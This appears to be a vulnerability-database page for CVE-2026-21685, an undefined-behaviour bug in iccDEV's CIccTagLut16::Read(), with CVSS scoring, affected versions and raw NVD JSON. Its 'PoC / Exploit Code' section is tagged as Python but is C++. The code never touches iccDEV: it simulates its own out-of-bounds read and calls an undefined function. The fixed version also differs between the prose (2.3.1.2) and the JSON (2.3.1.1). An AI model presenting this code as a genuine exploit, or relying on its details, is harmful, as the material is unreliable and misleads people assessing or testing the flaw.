Security Vulnerability Report
中文
CVE-2026-21685 CVSS 7.1 HIGH

CVE-2026-21685

Published: 2026-01-07 22:15:45
Last Modified: 2026-01-12 18:08:59

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have Undefined Behavior in `CIccTagLut16::Read()`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <iostream> #include <fstream> #include <vector> // Simulated vulnerable ICC profile structure struct IccProfileHeader { char signature[4]; uint32_t size; // ... other header fields }; // Vulnerable function - CIccTagLut16::Read() void ReadLut16Data(std::vector<uint8_t>& data, size_t offset, size_t length) { // Undefined behavior: insufficient bounds checking for (size_t i = 0; i < length; i++) { // Missing validation of offset + i against data.size() uint8_t value = data[offset + i]; // Potential out-of-bounds access processValue(value); } } // Create malicious ICC profile trigger std::vector<uint8_t> createMaliciousIccProfile() { std::vector<uint8_t> profile; // Craft ICC profile with manipulated Lut16 tag data // that triggers undefined behavior in Read() function profile.push_back(0x00); // Malformed data profile.push_back(0x00); profile.push_back(0x00); profile.push_back(0x00); return profile; } int main() { std::cout << "CVE-2026-21685 PoC - iccDEV CIccTagLut16::Read() Undefined Behavior" << std::endl; // Load malicious ICC profile auto maliciousProfile = createMaliciousIccProfile(); // Trigger vulnerable code path ReadLut16Data(maliciousProfile, 0, maliciousProfile.size() + 100); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21685", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:44.627", "lastModified": "2026-01-12T18:08:58.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have Undefined Behavior in `CIccTagLut16::Read()`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del Consorcio Internacional del Color (ICC). Las versiones anteriores a la 2.3.1.2 tienen Comportamiento Indefinido en 'CIccTagLut16::Read()'. Esta vulnerabilidad afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. La versión 2.3.1.2 contiene un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-758"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.1", "matchCriteriaId": "0E50DFFC-9185-4969-85A7-6D3976699720"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/213", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/223", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-c3xr-6687-5c8p", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}